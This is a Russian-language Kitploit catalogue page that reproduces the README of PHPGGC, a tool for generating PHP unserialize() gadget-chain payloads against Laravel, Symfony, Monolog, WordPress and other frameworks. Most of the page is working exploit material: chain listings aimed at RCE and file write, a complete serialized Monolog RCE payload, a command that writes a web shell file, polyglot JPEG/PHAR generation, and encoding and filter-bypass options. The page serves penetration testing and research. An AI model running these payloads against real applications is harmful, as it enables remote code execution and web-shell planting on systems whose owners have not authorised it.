Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
phpggc — PHPGGC — это библиотека PHP-пейлоадов для unserialize() вместе с инструментом для их генерации из командной строки или программно. | Kitploit
Инструменты/GitHubGitHub/ambionics/phpggc
Фреймворки для эксплойтовГенерация полезной нагрузкиЭксплуатацияЭксплуатация веб-приложений
GitHubambionics/phpggc

phpggc

PHPGGC — это библиотека PHP-пейлоадов для unserialize() вместе с инструментом для их генерации из командной строки или программно.

Репозиторий
3.9k559250 лет назадПроверено Kitploit
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

PHPGGC: универсальные цепочки гаджетов для PHP

PHPGGC — это библиотека пейлоадов для unserialize(), а также инструмент для их генерации из командной строки или программно. Когда вы сталкиваетесь с unserialize на сайте, кода которого у вас нет, или просто пытаетесь построить эксплойт, этот инструмент позволяет сгенерировать пейлоад, не проходя через утомительные этапы поиска гаджетов и их комбинирования. Его можно рассматривать как аналог frohoff's ysoserial, но для PHP. В настоящее время инструмент поддерживает такие цепочки гаджетов, как: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii и ZendFramework.

Требования

Для запуска PHPGGC требуется PHP >= 5.6.

Использование

Выполните ./phpggc -l, чтобы получить список цепочек гаджетов:

root@kitploit:~
$ ./phpggc -l

Gadget Chains
-------------

NAME                                      VERSION                                              TYPE                   VECTOR         I    
Bitrix/RCE1                               17.x.x <= 22.0.300                                   RCE (Function call)    __destruct          
CakePHP/RCE1                              ? <= 3.9.6                                           RCE (Command)          __destruct          
CakePHP/RCE2                              ? <= 4.2.3                                           RCE (Function call)    __destruct          
CodeIgniter4/FR1                          4.0.0 <= 4.3.6                                       File read              __toString     *    
CodeIgniter4/RCE1                         4.0.2 <= 4.0.3                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.3.6                                  RCE (Function call)    __destruct          
CodeIgniter4/RCE3                         4.0.4 <= 4.3.6                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE4                         4.0.0-beta.1 <= 4.0.0-rc.4                           RCE (Function call)    __destruct          
CodeIgniter4/RCE5                         -4.1.3+                                              RCE (Function call)    __destruct          
CodeIgniter4/RCE6                         -4.1.3 <= 4.2.10+                                    RCE (Function call)    __destruct          
Doctrine/FW1                              ?                                                    File write             __toString     *    
Doctrine/FW2                              2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5                       File write             __destruct     *    
Doctrine/RCE1                             1.5.1 <= 2.7.2                                       RCE (PHP code)         __destruct     *    
Doctrine/RCE2                             1.11.0 <= 2.3.2                                      RCE (Function call)    __destruct     *    
Dompdf/FD1                                1.1.1 <= ?                                           File delete            __destruct     *    
...

Фильтрация цепочек гаджетов:

root@kitploit:~
$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         

Каждая цепочка гаджетов имеет:

  • Имя: название фреймворка/библиотеки
  • Версия: версия фреймворка/библиотеки, для которой предназначены гаджеты
  • Тип: тип эксплуатации: RCE, запись файла, чтение файла, Include...
  • Вектор: вектор для запуска цепочки после unserialize (__destruct(), __toString(), offsetGet(), ...)
  • Информация: прочие сведения о цепочке

Используйте -i, чтобы получить подробную информацию о цепочке:

root@kitploit:~
$ ./phpggc -i symfony/rce1
Name           : Symfony/RCE1
Version        : 3.3
Type           : rce
Vector         : __destruct
Informations   : 
Exec through proc_open()

./phpggc Symfony/RCE1 <command>

Для RCE-гаджетов выполняемая команда может иметь 3 типа форматирования в зависимости от того, как работает гаджет:

  • RCE (Command): ./phpggc Symfony/RCE1 id
  • RCE (PHP code): ./phpggc Symfony/RCE2 'phpinfo();'
  • RCE (Function call): ./phpggc Symfony/RCE4 system id

После выбора цепочки выполните ./phpggc <gadget-chain> [parameters], чтобы получить пейлоад. Например, чтобы получить пейлоад для Monolog, выполните:

root@kitploit:~
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}

Для записи файла с помощью SwiftMailer выполните:

root@kitploit:~
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}

Обёртка

Опция --wrapper (-w) позволяет задать PHP-файл, содержащий следующие функции:

  • process_parameters(array $parameters): Вызывается непосредственно перед generate(); позволяет изменять параметры
  • process_object(object $object): Вызывается непосредственно перед serialize(); позволяет изменять объект
  • process_serialized(string $serialized): Вызывается непосредственно после serialize(); позволяет изменять сериализованную строку

Например, если уязвимый код выглядит так:

root@kitploit:~
<?php
$data = unserialize($_GET['data']);
print $data['message'];

Вы можете использовать цепочку __toString(), обернув её следующим образом:

root@kitploit:~
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}

И вызвать phpggc так:

root@kitploit:~
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}

PHAR(GGC)

История

На BlackHat US 2018 @s_n_t выпустил PHARGGC — форк PHPGGC, который вместо создания сериализованного пейлоада собирает целый PHAR-файл. Этот PHAR-файл содержит сериализованные данные и поэтому может использоваться для различных техник эксплуатации (file_exists, fopen и т.д.). Документ доступен здесь.

Реализация

PHAR-архивы бывают трёх форматов: PHAR, TAR и ZIP. Все три поддерживаются PHPGGC. Полиглот-файлы можно создавать с помощью --phar-jpeg (-pj). Доступны и другие опции (используйте -h).

Примеры

root@kitploit:~
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id

Кодировщики

Аргументы позволяют изменить способ вывода пейлоада. Например, -u выполнит URL-кодирование, а -b преобразует его в base64. Пейлоады часто содержат нулевые байты и не могут быть скопированы/вставлены как есть. Используйте -s для мягкого URL-кодирования, которое сохраняет читаемость пейлоада.

Кодировщики можно объединять в цепочку, поэтому порядок важен. Например, ./phpggc -b -u -u slim/rce1 system id закодирует пейлоад в base64, а затем дважды применит URL-кодирование.

Продвинутое использование: улучшения

Быстрый деструктор

PHPGGC реализует флаг --fast-destruct (-f), который гарантирует, что сериализованный объект будет уничтожен сразу после вызова unserialize(), а не в конце скрипта. Рекомендую использовать его для каждого вектора __destruct, так как это повышает надёжность. Например, если PHP-скрипт после вызова вызывает исключение, метод __destruct вашего объекта может не быть вызван. Поскольку флаг обрабатывается вместе с кодировщиками, его нужно указывать первым.

root@kitploit:~
$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...

ASCII-строки

Использует формат сериализации S вместо стандартного s. Это заменяет каждый не-ASCII символ на шестнадцатеричное представление: s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"A\00B\09\0D"; Это может быть полезно, когда по какой-то причине не-ASCII символы недопустимы (например, нулевой байт). Поскольку пейлоады обычно их содержат, это гарантирует, что пейлоад состоит только из ASCII-значений. Примечание: это экспериментальная возможность, и в некоторых случаях она может не работать.

Armor-строки

Использует формат сериализации S вместо стандартного s. Это заменяет каждый символ на шестнадцатеричное представление: s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"\41\00\42\09\0D"; Это удобно, когда межсетевой экран или PHP-код блокирует строки. Примечание: это экспериментальная возможность, и в некоторых случаях она может не работать. Примечание: это увеличивает каждую строку в пейлоаде в 3 раза.

Плюс-числа

Иногда PHP-скрипты проверяют, что переданный сериализованный пейлоад не содержит объектов, используя регулярное выражение вида /O:[0-9]+:. Это легко обходится использованием O:+123:... вместо O:123:. Можно использовать --plus-numbers <types> или -n <types>, чтобы автоматически добавлять эти знаки + перед символами. Например, для обфускации объектов и строк можно использовать: --n Os. Обратите внимание, что начиная с PHP 7.2 только типы i и d (float) могут содержать +.

Публичные свойства

Пытается преобразовать ссылки на защищённые (protected) или приватные (private) свойства внутри сериализованного пейлоада в публичные. Это может быть полезно, поскольку при сериализации непубличного свойства объекта PHP добавляет к имени свойства префикс: звёздочку (для protected) или имя класса (для private), окружённые нулевыми байтами. Эти байты легко потерять, если пейлоад передаётся или хранится в виде обычного текста без кодирования. Если это происходит, пейлоад не сможет десериализоваться, поскольку длина строки имени свойства (и само имя) будут неверными. В качестве дополнительного бонуса пейлоады становятся немного меньше без префиксов. Преобразование свойств в публичные обычно работает в более новых версиях PHP, но может вызывать проблемы в старых версиях (до PHP 7.2). Эта функция может работать некорректно, если цепочка включает один или несколько объектов с собственной реализацией serialize / unserialize.

Тестирование вашей цепочки

Чтобы проверить, работает ли выбранная цепочка гаджетов в целевой среде, перейдите в папку вашей среды и выполните цепочку без аргументов, с опцией --test-payload.

Например, чтобы проверить, работает ли Monolog/RCE2 в Symfony 4.x:

root@kitploit:~
$ composer create-project symfony/website-skeleton=4.x some_symfony
$ cd some_symfony
$ phpggc monolog/rce2 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !

Код возврата будет 0, если пейлоад сработал, и 1 в противном случае.

Тестирование вашей цепочки против каждой версии пакета

Если вы хотите узнать, с какими версиями пакета совместима цепочка гаджетов, можно использовать test-gc-compatibility.py.

root@kitploit:~
$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
Testing 59 versions for monolog/monolog against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.x-dev         │   OK    │      OK      │      KO      │
│ 2.3.0           │   OK    │      OK      │      KO      │
│ 2.2.0           │   OK    │      OK      │      KO      │
│ 2.1.1           │   OK    │      OK      │      KO      │
│ 2.1.0           │   OK    │      OK      │      KO      │
│ 2.0.2           │   OK    │      OK      │      KO      │
│ 2.0.1           │   OK    │      OK      │      KO      │
│ 2.0.0           │   OK    │      OK      │      KO      │
│ 2.0.0-beta2     │   OK    │      OK      │      KO      │
│ 2.0.0-beta1     │   OK    │      OK      │      KO      │
│ 1.x-dev         │   OK    │      OK      │      KO      │
│ 1.26.1          │   OK    │      OK      │      KO      │
│ 1.26.0          │   OK    │      OK      │      KO      │
│ 1.25.5          │   OK    │      OK      │      KO      │
│ 1.25.4          │   OK    │      OK      │      KO      │
                        ...
│ 1.0.1           │   OK    │      KO      │      KO      │
│ 1.0.0           │   OK    │      KO      │      KO      │
│ 1.0.0-RC1       │   OK    │      KO      │      KO      │
│ dev-main        │   OK    │      OK      │      KO      │
│ * dev-phpstan   │   OK    │      OK      │      KO      │
└─────────────────┴─────────┴──────────────┴──────────────┘

Вы можете указать версии для тестирования, используя следующий синтаксис:

root@kitploit:~
$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
Testing 2 versions for monolog/monolog against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0           │   OK    │      OK      │      KO      │
│ 1.25.4          │   OK    │      OK      │      KO      │
└─────────────────┴─────────┴──────────────┴──────────────┘

API

Вместо использования PHPGGC как инструмента командной строки можно писать PHP-скрипты:

root@kitploit:~
<?php

# Include PHPGGC
include("phpggc/lib/PHPGGC.php");

# Include guzzle/rce1
$gc = new \GadgetChain\Guzzle\RCE1();

# Always process parameters unless you're doing something out of the ordinary
$parameters = $gc->process_parameters([
	'function' => 'system',
	'parameter' => 'id',
]);

# Generate the payload
$object = $gc->generate($parameters);

# Most (if not all) GC's do not use process_object and process_serialized, so
# for quick & dirty code you can omit those two 
$object = $gc->process_object($object);

# Serialize the payload
$serialized = serialize($object);
$serialized = $gc->process_serialized($serialized);

# Display it
print($serialized . "\n");

# Create a PHAR file from this payload
$phar = new \PHPGGC\Phar\Tar($serialized);
file_put_contents('output.phar.tar', $phar->generate());

Это позволяет более гибко настраивать параметры или проще писать эксплойты. Примечание: сейчас это довольно экспериментально, поэтому, пожалуйста, сообщайте об ошибках.

Участие в разработке

Pull request'ы более чем приветствуются. Пожалуйста, следуйте этим простым правилам:

  • __destruct() — всегда лучший вектор
  • Указывайте как минимум версию библиотеки, на основе которой вы собрали пейлоад
  • Не включайте неиспользуемые параметры в определение гаджета, если они сохраняют свои значения по умолчанию. Это лишь увеличивает пейлоад.
  • Соблюдайте стиль кода: например, открывающие скобки { размещаются на новой строке, а массивы должны записываться как [1, 2, 3] вместо старой записи array(1, 2, 3).

С точки зрения кода структура каталогов довольно проста: гаджеты в gadgets.php, описание и логика в chain.php. Вы можете определять методы предварительной и последующей обработки, если параметры нужно изменить. Надеюсь, уже реализованных гаджетов будет достаточно, чтобы вы могли создать свои. В противном случае я буду рад ответить на ваши вопросы.

Пожалуйста, тестируйте как можно больше версий. Номенклатура версий следующая: [-]<lower-version> <= <higher-version>[+]. Знаки - и + указывают на то, что ваш пейлоад может работать соответственно на более низких и более высоких версиях. Например, если ваша цепочка гаджетов работает с версии 2.0.0 до версии 4.4.1, которая является последней на тот момент, используйте 2.0.0 <= 4.4.1+.

Опцию командной строки --new <framework> <type> можно использовать для создания структуры каталогов и файлов для новой цепочки гаджетов. Например, использование ./phpggc -n Drupal RCE создаст новую гаджет-цепочку Drupal RCE.

Docker

Если вы не хотите устанавливать PHP, вы можете собрать docker-образ с помощью:

root@kitploit:~
$ docker build . -t 'phpggc'

Затем вы можете использовать phpggc в docker.

Создание цепочки гаджетов

root@kitploit:~
$ docker run phpggc Monolog/rce1 'system' 'id'

Тестирование цепочки

Перейдите в папку вашей среды и выполните цепочку без аргументов, с опцией --test-payload:

root@kitploit:~
$ docker run -v "$(pwd)":/app -w /app phpggc Monolog/RCE9 --test-payload

Создание phar / polyglot-файлов

Примечание: команда должна выполняться в каталоге, где находится входное изображение.

root@kitploit:~
$ docker run -v "$(pwd)":/images phpggc -pj /images/dummy.jpg -o /images/z.zip.phar Monolog/RCE9 system id

Запуск test-gc-compatibility.py

root@kitploit:~
$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2
Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).
Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ 2.2                      │   OK    │      OK       │      OK       │
│ 2.7.2                    │   OK    │      OK       │      KO       │
└──────────────────────────┴─────────┴───────────────┴───────────────┘

Лицензия

Apache License 2.0

Скачать инструмент